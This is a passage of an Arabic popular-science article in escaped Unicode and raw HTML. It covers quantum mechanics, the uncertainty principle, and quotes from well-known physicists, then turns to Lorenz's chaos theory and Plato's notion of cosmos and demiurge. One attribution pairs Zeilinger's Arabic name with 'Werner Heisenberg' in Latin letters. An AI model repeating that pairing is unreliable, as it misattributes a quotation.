\u0627\u0644\u0646\u0647\u0627\u064a\u0629 \u062e\u0644\u0635 \u0627\u0644\u0639\u0644\u0645\u0627\u0621 \u0627\u0644\u0649 \u0627\u0644\u0627\u0644\u0643\u062a\u0631\u0648\u0646 \u0644\u0647 \u0627\u0644\u0635\u0641\u0627\u062a \u0627\u0644\u0645\u0634\u062a\u0631\u0643\u0629 \u0644\u0644\u0645\u0648\u062c\u0629 \u0648\u0644\u0644\u062c\u0633\u064a\u0645\u060c \u0648\u0644\u0630\u0644\u0643 \u064a\u0645\u0643\u0646\u0643 \u062a\u062e\u064a\u0651\u0644\u0647 \u0641\u064a \u0623\u064a \u0647\u064a\u0626\u0629- \u0645\u062b\u0644\u0627 &#8211; \u0641\u064a \u0647\u064a\u0626\u0629 \u0633\u062d\u0627\u0628\u0629 \u062a\u062d\u062a\u0645\u0644 \u0627\u0644\u0635\u0641\u062a\u064a\u0646: \u062a\u0647\u062a\u0632 \u0645\u0648\u062c\u064a\u0627\u060c\u00a0 \u0623\u0648 \u0641\u064a \u0647\u064a\u0626\u0629 \u0645\u062c\u0645\u0648\u0639\u0629 \u0645\u0646 \u0627\u0644\u062e\u064a\u0648\u0637 \u0627\u0644\u0645\u062a\u0631\u0627\u0643\u0628\u0629 \u0627\u0644\u062a\u064a \u062a\u0647\u062a\u0632 \u0645\u0648\u062c\u064a\u0627\u060c\u00a0 \u0623\u0648 \u0641\u064a \u0647\u064a\u0626\u0629 \u063a\u0644\u0627\u0644\u0629 \u062a\u062a\u0634\u0643\u0644 \u0645\u0648\u062c\u064a\u0627&#8230;.\u00a0 \u0648\u0644\u0646 \u062a\u0643\u0648\u0646 \u062a\u0635\u0648\u0631\u0627\u062a\u0643 \u062a\u0644\u0643 \u0628\u0639\u064a\u062f\u0629 \u0639\u0646 \u062a\u0635\u0648\u0631\u0627\u062a \u0627\u0644\u0639\u0644\u0645\u0627\u0621. \u0627\u0644\u0645\u0647\u0645 \u0647\u0648 \u0623\u0646 \u064a\u0641\u064a \u062a\u0635\u0648\u0631\u0643 \u0647\u0630\u0627 \u0628\u0645\u062a\u0637\u0644\u0628\u0627\u062a \u0627\u0644\u0645\u0639\u0627\u062f\u0644\u0629 \u0627\u0644\u0631\u064a\u0627\u0636\u064a\u0629 \u0627\u0644\u0645\u0648\u062c\u064a\u0629 \u0627\u0644\u062a\u064a \u062a\u062d\u0643\u0645 \u0627\u0644\u0625\u0644\u0643\u062a\u0631\u0648\u0646\u060c \u0648\u0627\u0644\u062a\u064a \u0627\u0643\u062a\u0634\u0641\u0647\u0627 \u0627\u0644\u0639\u0644\u0645\u0627\u0621 \u0645\u0646 \u062e\u0644\u0627\u0644 \u0627\u0644\u062a\u062c\u0627\u0631\u0628 \u0627\u0644\u0639\u0644\u0645\u064a\u0629. \u0648\u0647\u0630\u0647 \u0627\u0644\u0645\u0639\u0627\u062f\u0644\u0629 \u0627\u0644\u0639\u0644\u0645\u064a\u0629\u060c \u0648\u0627\u0644\u062a\u064a \u062a\u0633\u0645\u0649 \u0628\u0645\u0639\u0627\u062f\u0644\u0629 \u0634\u0631\u0648\u062f\u0646\u062c\u0631 Erwin Schr\u00f6dinger\u060c \u0647\u064a \u0627\u0644\u0645\u0639\u0627\u062f\u0644\u0629 \u0627\u0644\u0623\u0633\u0627\u0633\u064a\u0629 \u0641\u064a \u0639\u0644\u0645 (\u0645\u064a\u0643\u0627\u0646\u064a\u0643\u0627 \u0627\u0644\u0643\u0645) \u0648\u0627\u0644\u062a\u064a \u0623\u0636\u064a\u0641\u062a \u0625\u0644\u064a\u0647\u0627 \u0635\u064a\u0627\u063a\u0627\u062a \u0623\u062e\u0631\u0649 \u0639\u0644\u0649 \u064a\u062f \u0645\u0627\u0643\u0633 \u0628\u0648\u0631\u0646 \u0648\u0641\u064a\u0631\u0646\u0631 \u0647\u0627\u064a\u0632\u0646\u0628\u0631\u062c <span lang=\"Latn\" dir=\"ltr\">Werner Heisenberg<\/span>\u00a0 \u062b\u0645 \u0628\u0648\u0644 \u062f\u064a\u0631\u0627\u0643 Paul Adrien Maurice Dirac. \u0648\u062a\u062a\u0636\u0645\u0646 \u0627\u0644\u0645\u0628\u062f\u0623 \u0627\u0644\u0634\u0647\u064a\u0631 \u0627\u0644\u0630\u064a \u0635\u0627\u063a\u0647 \u0647\u0627\u064a\u0632\u0646\u0628\u0631\u062c \u0648\u0627\u0644\u0645\u0633\u0645\u0649 <strong>\u0628\u0645\u0628\u062f\u0623 \u0639\u062f\u0645 \u0627\u0644\u062a\u0623\u0643\u062f \u0623\u0648 \u0645\u0628\u062f\u0623 \u0627\u0644\u0631\u064a\u0628\u0629 \u0623\u0648 <a href=\"http:\/\/ar.wikipedia.org\/wiki\/%D9%85%D8%A8%D8%AF%D8%A3_%D8%A7%D9%84%D8%B1%D9%8A%D8%A8%D8%A9\">\u0645\u0628\u062f\u0623 \u0627\u0644\u0644\u0627\u064a\u0642\u064a\u0646 <\/a>\u0623\u0648 \u0645\u0628\u062f\u0623 \u0627\u0644\u0634\u0643<\/strong>.<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\"><strong>\u0645\u0628\u062f\u0623 \u0627\u0644\u0634\u0643<\/strong>\u060c <strong>\u0647\u0648 \u0627\u0644\u0645\u0628\u062f\u0623 \u0627\u0644\u0642\u0627\u0626\u0644 \u0625\u0646 \u0645\u0648\u0636\u0639 \u0648\u0643\u0645\u064a\u0629 \u062d\u0631\u0643\u0629 \u0623\u064a \u0634\u064a\u0621<\/strong> (\u0633\u0648\u0627\u0621 \u0643\u0627\u0646 \u0625\u0644\u0643\u062a\u0631\u0648\u0646\u0627 \u0623\u0648 \u0628\u0631\u0648\u062a\u0648\u0646\u0627 \u0623\u0648 \u0646\u064a\u0648\u062a\u0631\u0648\u0646\u0627&#8230;\u0625\u0644\u062e) <strong>\u0644\u0627 \u064a\u0645\u0643\u0646 \u0623\u0646 \u064a\u062a\u062d\u062f\u062f\u0627 \u0628\u062f\u0642\u0629 \u0641\u064a \u0648\u0642\u062a \u0648\u0627\u062d\u062f\u060c \u0641\u0625\u0630\u0627 \u062a\u0645\u0643\u0646\u0627 \u0645\u0646 \u0642\u064a\u0627\u0633 \u0623\u062d\u062f\u0647\u0645\u0627 \u0623\u0635\u0628\u062d \u0627\u0644\u062b\u0627\u0646\u064a \u063a\u064a\u0631 \u0645\u062d\u062f\u062f \u0625\u0644\u0627 \u0628\u0635\u0648\u0631\u0629 \u0627\u062d\u062a\u0645\u0627\u0644\u064a\u0629<\/strong>.<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <strong>\u0631\u0628\u0645\u0627 \u0623\u0635\u0627\u0628\u062a\u0643 \u062a\u0644\u0643 \u0627\u0644\u0645\u0639\u0644\u0648\u0645\u0627\u062a \u0628\u0628\u0639\u0636 \u0627\u0644\u062d\u064a\u0631\u0629 \u0648\u0627\u0644\u0627\u0631\u062a\u0628\u0627\u0643 \u0648\u0623\u0639\u0637\u062a\u0643 \u0627\u062d\u0633\u0627\u0633 \u0628\u0627\u0644\u0641\u0648\u0636\u0649<\/strong>. \u0644\u0627 \u0628\u0623\u0633\u060c \u0641\u0647\u0630\u0627 \u064a\u0639\u0646\u064a \u0623\u0646\u0643 \u0642\u062f \u0628\u062f\u0623\u062a \u062a\u0641\u0647\u0645 \u0645\u0627\u0630\u0627 \u062a\u0639\u0646\u064a (\u0645\u064a\u0643\u0627\u0646\u064a\u0643\u0627 \u0627\u0644\u0643\u0645). \u0648\u0647\u0630\u0647 \u0644\u064a\u0633\u062a \u062f\u0639\u0627\u0628\u0629\u060c \u0648\u0625\u0646\u0645\u0627 \u0647\u0630\u0627 \u0647\u0648 \u0631\u0623\u064a \u0627\u0644\u0639\u0627\u0644\u0645 \u0627\u0644\u0634\u0647\u064a\u0631 \u062c\u0648\u0646 \u0623\u0631\u0634\u064a\u0628\u0627\u0644\u062f \u0648\u064a\u0644\u0631\u00a0John Archibald Wheeler \u0645\u0646 \u062c\u0627\u0645\u0639\u0629 \u0628\u0631\u0646\u0633\u062a\u0648\u0646 \u0648\u0623\u062d\u062f \u0623\u0643\u0628\u0631 \u0645\u0646\u0638\u0631\u064a \u0645\u064a\u0643\u0627\u0646\u064a\u0643\u0627 \u0627\u0644\u0643\u0645 \u0648\u062a\u0644\u0645\u064a\u0630 \u0646\u064a\u0644\u0632 \u0628\u0648\u0631Niels Bohr. \u0648\u064a\u0624\u0643\u062f \u0630\u0644\u0643 \u0627\u0644\u0639\u0627\u0644\u0645 \u0627\u0644\u0634\u0647\u064a\u0631 \u0631\u064a\u062a\u0634\u0627\u0631\u062f \u0641\u064a\u0644\u0628\u0633 \u0641\u0627\u064a\u0646\u0645\u0627\u0646\u00a0<strong>Richard Philips Feynman<\/strong> \u0627\u0644\u0645\u0639\u0631\u0648\u0641 \u0628\u0645\u0634\u0627\u0631\u0643\u062a\u0647 \u0641\u064a \u0635\u064a\u0627\u063a\u0629 \u0646\u0638\u0631\u064a\u0629 \u0627\u0644\u0645\u062c\u0627\u0644\u0627\u062a (\u0627\u0644\u0643\u0645\u064a\u0629) \u0639\u0627\u0645 1947 \u0648\u0628\u0646\u0638\u0631\u064a\u062a\u0647 \u0641\u064a (\u062d\u0627\u0635\u0644 \u062c\u0645\u0639 \u0627\u0644\u062a\u0648\u0627\u0631\u064a\u062e) \u0644\u062a\u0641\u0633\u064a\u0631 \u0646\u0638\u0631\u064a\u0629 (\u0627\u0644\u0643\u0645) \u062d\u064a\u062b \u064a\u0642\u0648\u0644: \u00ab\u00a0<strong>\u0623\u0638\u0646 \u0623\u0646\u0647 \u064a\u0645\u0643\u0646\u0646\u064a \u0627\u0644\u0642\u0648\u0644 \u0628\u0623\u0645\u0627\u0646 \u0623\u0646 \u0644\u0627 \u0623\u062d\u062f \u064a\u0641\u0647\u0645 \u0645\u064a\u0643\u0627\u0646\u064a\u0643\u0627 \u0627\u0644\u0643\u0645<\/strong>\u00ab\u00a0&#8230;<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u0643\u0645\u0627 \u0633\u0628\u0642 \u0644\u0644\u0639\u0627\u0644\u0645 \u0627\u0644\u0634\u0647\u064a\u0631 \u0623\u0644\u0628\u0631\u062a \u0623\u064a\u0646\u0634\u062a\u064a\u0646 \u0623\u0646 \u0627\u0628\u062f\u0649 \u0627\u0639\u062a\u0631\u0636\u0627 \u0634\u062f\u064a\u062f\u0627 \u0639\u0644\u0649 (\u0645\u064a\u0643\u0627\u0646\u064a\u0643\u0627 \u0627\u0644\u0643\u0645) \u062d\u064a\u062b \u0642\u0627\u0644 \u064a\u0648\u0645\u0627 :\u201c\u0644\u0627 \u064a\u0645\u0643\u0646 \u0627\u0646 \u064a\u0643\u0648\u0646 \u0627\u0644\u0644\u0647 \u064a\u0644\u0639\u0628 \u0627\u0644\u0646\u0631\u062f\u00a0\u00bb\u060c\u00a0 \u00a0\u0623\u0645\u0627 \u062f\u0627\u0646\u064a\u064a\u0644 \u062c\u0631\u064a\u0646\u0628\u0631\u062c <strong>Daniel A. Greenberg<\/strong>\u060c \u0648\u0647\u0648 \u0639\u0627\u0644\u0645 \u0645\u0631\u0645\u0648\u0642 \u0645\u0646 \u0633\u064a\u062a\u064a \u0643\u0648\u0644\u062c \u0641\u064a \u0646\u064a\u0648\u064a\u0648\u0631\u0643\u060c \u0641\u064a\u0630\u0643\u0631 \u0623\u0646 \u0623\u064a\u0646\u0634\u062a\u064a\u0646 \u0633\u0628\u0642 \u0623\u0646 \u0642\u0627\u0644:\u00a0\u00bb \u0625\u0630\u0627 \u0643\u0627\u0646\u062a \u0645\u064a\u0643\u0627\u0646\u064a\u0643\u0627 \u0627\u0644\u0643\u0645 \u062d\u0642\u064a\u0642\u0629\u060c \u0641\u0625\u0646 \u0627\u0644\u0639\u0627\u0644\u0645 \u064a\u0643\u0648\u0646 \u0642\u062f \u062c\u0646\u00a0\u00bb\u060c \u00a0\u062b\u0645 \u064a\u0636\u064a\u0641:\u00a0\u00bb \u062d\u0633\u0646\u0627\u060c \u0623\u064a\u0646\u0634\u062a\u064a\u0646 \u0643\u0627\u0646 \u0645\u062d\u0642\u0627\u060c \u0641\u0627\u0644\u0639\u0627\u0644\u0645 \u0647\u0648 \u062d\u0642\u0627 \u0645\u062c\u0646\u0648\u0646\u00a0\u00bb.<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u00a0\u0623\u0645\u0627 \u0623\u0646\u062a\u0648\u0646\u064a \u0632\u064a\u0644\u064a\u0646\u062c\u0631 Werner Heisenberg \u0645\u0646 \u062c\u0627\u0645\u0639\u0629 \u0625\u064a\u0646\u0632\u0628\u0631\u0648\u0643 \u0641\u064a\u0642\u0648\u0644: \u00ab\u00a0\u0628\u0627\u0644\u0646\u0633\u0628\u0629 \u0644\u064a \u0627\u0644\u0647\u062f\u0641 \u0627\u0644\u0623\u0633\u0627\u0633\u064a \u0645\u0646 \u0639\u0645\u0644 \u0627\u0644\u062a\u062c\u0627\u0631\u0628 \u0647\u0648 \u0628\u064a\u0627\u0646 \u0645\u062f\u0649 \u063a\u0631\u0627\u0628\u0629 \u0627\u0644\u0641\u064a\u0632\u064a\u0627\u0621 \u0627\u0644\u0643\u0645\u064a\u0629\u00a0\u00bb. \u0648\u064a\u0636\u064a\u0641: \u00ab\u00a0\u0625\u0646 \u0645\u0639\u0638\u0645 \u0627\u0644\u0641\u064a\u0632\u064a\u0627\u0626\u064a\u064a\u0646 \u063a\u0627\u064a\u0629\u00a0 \u0641\u064a \u0627\u0644\u0633\u0630\u0627\u062c\u0629 \u0644\u0623\u0646\u0647\u0645 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\u0648\u0646\u0638\u0631\u0627 \u0644\u0623\u0646 \u0627\u0644\u0623\u062c\u0633\u0627\u0645 \u062f\u0648\u0646 \u0627\u0644\u0630\u0631\u064a\u0629 \u062a\u0643\u062a\u0633\u0628 \u0637\u0627\u0642\u0629 \u0648\u062a\u0637\u0644\u0642\u0647\u0627 \u0639\u0644\u0649 \u0647\u064a\u0626\u0629 \u0648\u062d\u062f\u0627\u062a \u0645\u062d\u062f\u062f\u0629 \u0645\u0646 \u0627\u0644\u0637\u0627\u0642\u0629 \u0623\u0648 (\u0643\u0645\u0627\u062aquanta )\u060c \u0633\u0645\u064a\u062a \u062f\u0631\u0627\u0633\u0629 \u062d\u0631\u0643\u0629 \u0627\u0644\u0623\u062c\u0633\u0627\u0645 \u062f\u0648\u0646 \u0627\u0644\u0630\u0631\u064a\u0629 \u0628\u0627\u0633\u0645 : \u0645\u064a\u0643\u0627\u0646\u064a\u0643\u0627 \u0627\u0644\u0643\u0645 La m\u00e9canique quantique.<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\">\u00a0<\/p>\n<h2 style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\"><strong><span style=\"font-size: medium;\"><strong> \u0627\u0644\u0646\u0638\u0631\u064a\u0629<\/strong><\/span> \u0627\u0644\u062b\u0627\u0644\u062b\u0629 : \u0647\u064a \u00ab\u00a0\u0646\u0638\u0631\u064a\u0629 \u0627\u0644\u0641\u0648\u0636\u064a\u00a0\u00bb :<\/strong><\/span><\/h2>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\"><strong>\u0648\u0635\u0644\u0646\u0627 \u0627\u0644\u0649 \u0635\u0644\u0628 \u0627\u0644\u0645\u0648\u0636\u0648\u0639&#8230; \u0644\u0630\u0627 \u0648\u062c\u0628 \u0627\u0644\u062a\u0646\u0628\u064a\u0647: \u0627\u062a\u0645\u0646\u0649 \u0627\u0646 \u062a\u0643\u0648\u0646 \u0639\u0644\u0649 \u0627\u062a\u0645 \u0627\u0644\u0627\u0633\u062a\u0639\u062f\u0627\u062f \u0644\u0644\u062f\u062e\u0648\u0644 \u0641\u064a \u063a\u0645\u0627\u0631 \u0627\u0644\u0641\u0648\u0636\u0649\u060c \u0644\u0627\u0646 \u0627\u0644\u0646\u062a\u0627\u0626\u062c \u0627\u0644\u062a\u064a \u0642\u062f \u062a\u0635\u0644 \u0627\u0644\u064a\u0647\u0627 \u0633\u062a\u062a\u062d\u0645\u0644 \u0627\u0646\u062a \u0648\u062d\u062f\u0643 \u0645\u0633\u0624\u0648\u0644\u064a\u0629 \u0627\u0646\u0639\u0643\u0627\u0633\u0627\u062a \u062e\u0644\u0627\u0635\u0627\u062a\u0647\u0627 \u0639\u0644\u064a\u0643 \u0648\u0639\u0644\u0649 \u062a\u0641\u0643\u064a\u0631\u0643&#8230;.<\/strong><\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u0623\u0648\u0644 \u0645\u0646 \u0628\u062d\u062b \u0641\u064a \u0627\u0644\u0641\u0648\u0636\u064a \u0643\u0627\u0646 \u0639\u0627\u0644\u0645 \u0627\u0644\u0623\u0631\u0635\u0627\u062f\u060c \u0627\u0644\u0645\u062f\u0639\u0648 \u0625\u062f\u0648\u0627\u0631\u062f \u0644\u0648\u0631\u064a\u0646\u062a\u0632Edward Lorenz. \u0641\u0641\u064a \u0639\u0627\u0645 1960 \u060c \u0643\u0627\u0646 \u064a\u0639\u0645\u0644 \u0639\u0644\u0649 \u0645\u0634\u0643\u0644\u0629 \u0627\u0644\u062a\u0646\u0628\u0624\u0650 \u0628\u0627\u0644\u0637\u0642\u0633. \u0639\u0644\u0649 \u062d\u0627\u0633\u0648\u0628 \u0645\u0632\u0648\u062f \u0628\u0646\u0645\u0648\u0630\u062c \u0644\u0645\u062d\u0627\u0643\u0627\u0629 \u062a\u062d\u0648\u0644\u0627\u062a \u0627\u0644\u0637\u0642\u0633 \u0645\u0624\u0644\u0641 \u0645\u0646 \u0645\u062c\u0645\u0648\u0639\u0629 \u0645\u0650\u0646\u0652 \u0627\u062b\u0646\u062a\u0627 \u0639\u0634\u0631\u0629 \u0645\u0639\u0627\u062f\u0644\u0629 \u0644\u062a\u0634\u0643\u064a\u0644 \u0627\u0644\u0637\u0642\u0633. \u064a\u0642\u0648\u0645 \u0628\u0631\u0646\u0627\u0645\u062c\u0650 \u0627\u0644\u062d\u0627\u0633\u0648\u0628\u0650 \u0647\u0630\u0627 \u0628\u062a\u0648\u0642\u0639 \u0646\u0638\u0631\u064a \u0644\u0644\u0637\u0642\u0633.<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u0641\u064a \u0623\u062d\u062f \u0623\u064a\u0627\u0645 1961 \u060c \u0623\u0631\u0627\u062f \u0631\u0624\u064a\u0629 \u0633\u0644\u0633\u0644\u0629 \u0645\u0639\u064a\u0646\u0629 \u0645\u0646 \u0627\u0644\u062d\u0633\u0627\u0628\u0627\u062a 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\u0627\u0644\u0645\u0639\u0644\u0648\u0645\u0627\u062a \u0627\u0644\u0645\u062a\u0639\u0644\u0642 \u0628\u0647\u0627. \u0648\u0647\u0630\u0627 \u064a\u0639\u0637\u064a\u0646\u0627 <strong>\u0623\u0648\u0644 \u062a\u0645\u064a\u064a\u0632 \u062f\u0642\u064a\u0642 \u0628\u064a\u0646 \u0645\u0641\u0627\u0647\u064a\u0645 \u0627\u0644\u0641\u0648\u0636\u0649 \u0648\u0627\u0644\u0627\u062d\u062a\u0645\u0627\u0644 \u0648\u0646\u0642\u0635 \u0627\u0644\u0645\u0639\u0644\u0648\u0645\u0627\u062a. <\/strong><\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u064a\u062a\u0636\u062d \u062c\u0644\u064a\u0627 \u0623\u0646 \u0627\u0644\u0648\u0636\u0639\u064a\u0629 \u0641\u064a \u063a\u0627\u064a\u0629 \u0627\u0644\u062a\u0639\u0642\u064a\u062f\u060c \u0644\u0630\u0627 \u0633\u0646\u0642\u0648\u0645 \u0628\u0648\u0642\u0641\u0629 \u0627\u0628\u0633\u062a\u0645\u0648\u0644\u0648\u062c\u064a\u0629 \u062d\u0648\u0644 \u0633\u064a\u0627\u0642\u0627\u062a \u0627\u0644\u0645\u0648\u0636\u0648\u0639 \u062b\u0645 \u0646\u0648\u0627\u0635\u0644&#8230;.<\/span><\/p>\n<p dir=\"RTL\"><span style=\"font-size: medium;\">\u00a0<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\"><strong>3-\u00a0 <\/strong><strong>\u0648\u0642\u0641\u0629 \u062a\u0623\u0645\u0644 \u0645\u0627 \u0646\u062d\u0646 \u0628\u0635\u062f\u062f \u0627\u0644\u062d\u062f\u064a\u062b \u0639\u0646\u0647 \u0642\u0628\u0644 \u0627\u0644\u0645\u0648\u0627\u0635\u0644\u0629:<\/strong><\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u064a\u0639\u062a\u0631\u0641 \u0623\u064a\u0646\u0634\u062a\u0627\u064a\u0646 \u0646\u0641\u0633\u0647 \u0628\u0623\u0646 \u0646\u0638\u0631\u064a\u0629 \u0627\u0644\u0646\u0633\u0628\u064a\u0629 \u062a\u062f\u064a\u0646 \u0628\u0627\u0644\u0643\u062b\u064a\u0631 \u0644\u0625\u0644\u0647\u0627\u0645 \u062f\u064a\u0646\u064a. \u0648\u064a\u0642\u0648\u0644 \u062c\u0627\u0646 \u062c\u0627\u0643 \u0631\u0648\u0633\u0648: \u00ab\u00a0\u0648\u0644\u062f \u0639\u0644\u0645 \u0627\u0644\u0641\u0644\u0643 \u0645\u0646 \u0627\u0644\u0623\u0633\u0637\u0648\u0631\u0629.\u00a0\u00bb \u0648\u064a\u0634\u064a\u0631 \u0627\u0644\u0642\u0648\u0644\u0627\u0646 \u0625\u0644\u0649 \u0648\u062c\u0648\u062f \u0630\u0643\u0627\u0621 \u0634\u0627\u0645\u0644 \u0641\u064a \u0627\u0644\u0639\u0627\u0644\u0645. \u0625\u0646 \u0627\u0644\u062f\u064a\u0627\u0646\u0629 \u0627\u0644\u0643\u0648\u0646\u064a\u0629 \u0627\u0644\u062a\u064a \u062a\u062d\u062f\u062b \u0639\u0646\u0647\u0627 \u0623\u064a\u0646\u0634\u062a\u0627\u064a\u0646\u060c \u0648\u0623\u0639\u0637\u0649 \u0645\u062b\u0627\u0644\u0627\u064b \u0639\u0644\u064a\u0647\u0627 \u0634\u062e\u0635\u064a\u062a\u064a \u0643\u0644 \u0645\u0646 \u0627\u0633\u062d\u0627\u0642 \u0646\u064a\u0648\u062a\u0646 \u0648 \u062c\u0648\u0647\u0627\u0646\u0633 \u0643\u0628\u0644\u0631Johannes Kepler\u060c \u062a\u0638\u0647\u0631 \u0643\u0645\u0635\u062f\u0631 \u0644\u0644\u0637\u0627\u0642\u0629 \u0627\u0644\u0631\u0648\u062d\u064a\u0629 \u0641\u064a \u0627\u0644\u0648\u0642\u062a \u0646\u0641\u0633\u0647 \u0627\u0644\u0630\u064a \u062a\u062d\u062f\u062f \u0641\u064a\u0647 \u0645\u0648\u0636\u0648\u0639\u0627\u064b \u0645\u0639\u0631\u0641\u064a\u0627\u064b (\u0625\u0628\u0633\u062a\u0645\u0648\u0644\u0648\u062c\u064a\u0627\u064b): \u0623\u0644\u0627 \u0648\u0647\u0648 \u0627\u0644\u0628\u062d\u062b \u0639\u0646 \u0627\u0644\u0646\u0638\u0627\u0645.<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u0648\u0644\u0627\u0634\u0643 \u0623\u0646 \u0623\u0633\u0644\u0627\u0641 \u0647\u0630\u0647 \u0627\u0644\u062b\u0627\u0644\u0648\u062b \u0627\u0644\u062e\u0637\u064a: \u0643\u0628\u0644\u0631\u2013\u0646\u064a\u0648\u062a\u0646\u2013\u0623\u064a\u0646\u0634\u062a\u064a\u0646 \u0642\u062f\u064a\u0645\u0648\u0646 \u062c\u062f\u0627\u064b\u060c \u062d\u062a\u0649 \u0625\u0646\u0646\u0627 \u0644\u0627 \u0646\u0633\u062a\u0637\u064a\u0639 \u062a\u0642\u062f\u064a\u0645 \u0646\u0642\u0637\u0629 \u0623\u0648\u0644\u064a\u0629 \u0644\u0627\u0646\u0637\u0644\u0627\u0642\u062a\u0647\u0645. \u0641\u0644\u0627\u0628\u062f \u0623\u0646 \u0627\u0644\u0641\u064a\u062b\u0627\u063a\u0648\u0631\u064a\u064a\u0646 \u0648\u0625\u062e\u0648\u0627\u0646 \u0627\u0644\u0635\u0641\u0627 \u0645\u062b\u0644\u0627\u064b \u0643\u0627\u0646\u0648\u0627 \u064a\u0646\u062a\u0645\u0648\u0646 \u0644\u062e\u0637\u0651\u0650\u0647\u0645.<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u0645\u0646 \u062c\u0647\u0629 \u0627\u062e\u0631\u0649\u060c \u0627\u0644\u0641\u0644\u0633\u0641\u0629 \u0627\u0644\u0623\u0641\u0644\u0627\u0637\u0648\u0646\u064a\u0629 \u062a\u0645\u062f\u0646\u0627 \u0628\u0631\u0643\u064a\u0632\u0629 \u0647\u0627\u0645\u0629 \u0644\u0625\u0628\u0631\u0627\u0632 \u0627\u0644\u0623\u0635\u0627\u0644\u0629 \u0627\u0644\u0625\u0628\u0633\u062a\u0645\u0648\u0644\u0648\u062c\u064a\u0629 \u0644\u0644\u0623\u0628\u062d\u0627\u062b \u0627\u0644\u062d\u0627\u0644\u064a\u0629 \u062d\u0648\u0644 \u0627\u0644\u0641\u0648\u0636\u0649. \u0641\u0643\u0644\u0645\u0629 \u0643\u0648\u0632\u0645\u0648\u0633 COSMOS \u0627\u0644\u064a\u0648\u0646\u0627\u0646\u064a\u0629 \u062a\u062a\u0636\u0645\u0651\u064e\u0646 \u0645\u0639\u0646\u0649 \u0627\u0644\u0646\u0638\u0627\u0645 \u0627\u0644\u0643\u0648\u0646\u064a \u0645\u0642\u0627\u0628\u0644 \u0627\u0644\u0641\u0648\u0636\u0649 CHAOS. \u0648\u0628\u062d\u0633\u0628 \u0623\u0641\u0644\u0627\u0637\u0648\u0646 \u0641\u0625\u0646 \u0627\u0644\u062a\u0646\u0638\u064a\u0645 \u0648\u0627\u0644\u0630\u0643\u0627\u0621 \u064a\u0634\u0643\u0644\u0627\u0646 \u0627\u0644\u0639\u0627\u0644\u0645 \u0627\u0644\u0630\u064a \u064a\u062d\u064a\u0637 \u0628\u0646\u0627 \u0648\u064a\u0645\u064a\u0651\u0650\u0632\u0627\u0646\u0647. \u0641\u0628\u0631\u0623\u064a\u0647 \u0623\u0646 <strong>\u0627\u0644\u0643\u0648\u0632\u0645\u0648\u0633 \u0647\u0648 \u0646\u062a\u064a\u062c\u0629 \u0627\u0644\u0639\u0645\u0644\u064a\u0629 \u0627\u0644\u062a\u064a \u062a\u0642\u0648\u0645 \u0628\u0647\u0627 \u0642\u0648\u0629 \u0645\u0646\u0638\u0651\u0650\u0645\u0629<\/strong>. \u0648\u064a\u0642\u062f\u0645 \u0644\u0646\u0627 \u062a\u0641\u0633\u064a\u0631\u0627\u064b \u0645\u0648\u0627\u0632\u064a\u0627\u064b \u0644\u0644\u0623\u0633\u0637\u0648\u0631\u0629 \u0627\u0644\u0628\u0627\u0628\u0644\u064a\u0629. \u0641\u062b\u0645\u0629 \u0643\u0627\u0626\u0646 \u0625\u0644\u0647\u064a \u064a\u062f\u0639\u0649 \u0627\u0644\u0630\u0645\u064a\u0648\u0631\u063a\u0648\u0633 D\u00e9miurge\u060c \u0642\u0627\u062f \u0646\u0648\u0639\u0627\u064b \u0645\u0646 \u0627\u0644\u0645\u063a\u0645\u0627 \u0627\u0644\u062a\u064a \u0644\u0627 \u0634\u0643\u0644 \u0644\u0647\u0627\u060c \u0645\u0646 \u0627\u0644\u0641\u0648\u0636\u0649 \u0625\u0644\u0649 \u0627\u0644\u0646\u0638\u0627\u0645.<\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\"><strong> \u0648\u0647\u0643\u0630\u0627 \u0641\u0642\u062f \u0627\u0636\u0637\u0631 \u0625\u0644\u0649 \u0627\u0644\u0644\u062c\u0648\u0621 \u0625\u0644\u0649 \u0645\u0627\u062f\u0629 \u0623\u0648\u0644\u064a\u0629\u060c \u0625\u0644\u0649 \u0641\u0631\u0627\u063a \u0645\u0627\u060c \u0628\u0645\u0639\u0646\u0649 \u0627\u0644\u0641\u0648\u0636\u0649 \u0627\u0644\u0645\u0637\u0644\u0642\u0629\u060c \u0623\u064a \u063a\u064a\u0627\u0628 \u0623\u064a \u0646\u0638\u0627\u0645 . <\/strong><\/span><\/p>\n<p style=\"text-align: right;\" dir=\"rtl\"><span style=\"font-size: medium;\">\u0648\u0627\u0644\u062d\u0642 \u0623\u0646\u0647 \u0644\u0645 \u064a\u0643\u0646 \u062b\u0645\u0629 \u0641\u0648\u0636\u0649 \u062d\u0642\u064a\u0642\u064a\u0629 \u0644\u0623\u0646\u0647 \u0644\u0645 \u064a\u0643\u0646 \u062b\u0645\u0629 \u0646\u0638\u0627\u0645 \u0644\u064a\u062e\u0631\u0642\u0647\u0627. \u0648\u0627\u0633\u062a\u0637\u0627\u0639 \u0627\u0644\u0630\u0645\u064a\u0648\u0631\u063a\u0648\u0633 \u062a\u062d\u0642\u064a\u0642 \u0627\u0644\u0646\u0638\u0627\u0645 \u0628\u0625\u062f\u062e\u0627\u0644\u0647 \u0644\u0644\u0623\u0634\u0643\u0627\u0644 \u0648\u0644\u0644\u062a\u0646\u0627\u0633\u0628\u0627\u062a 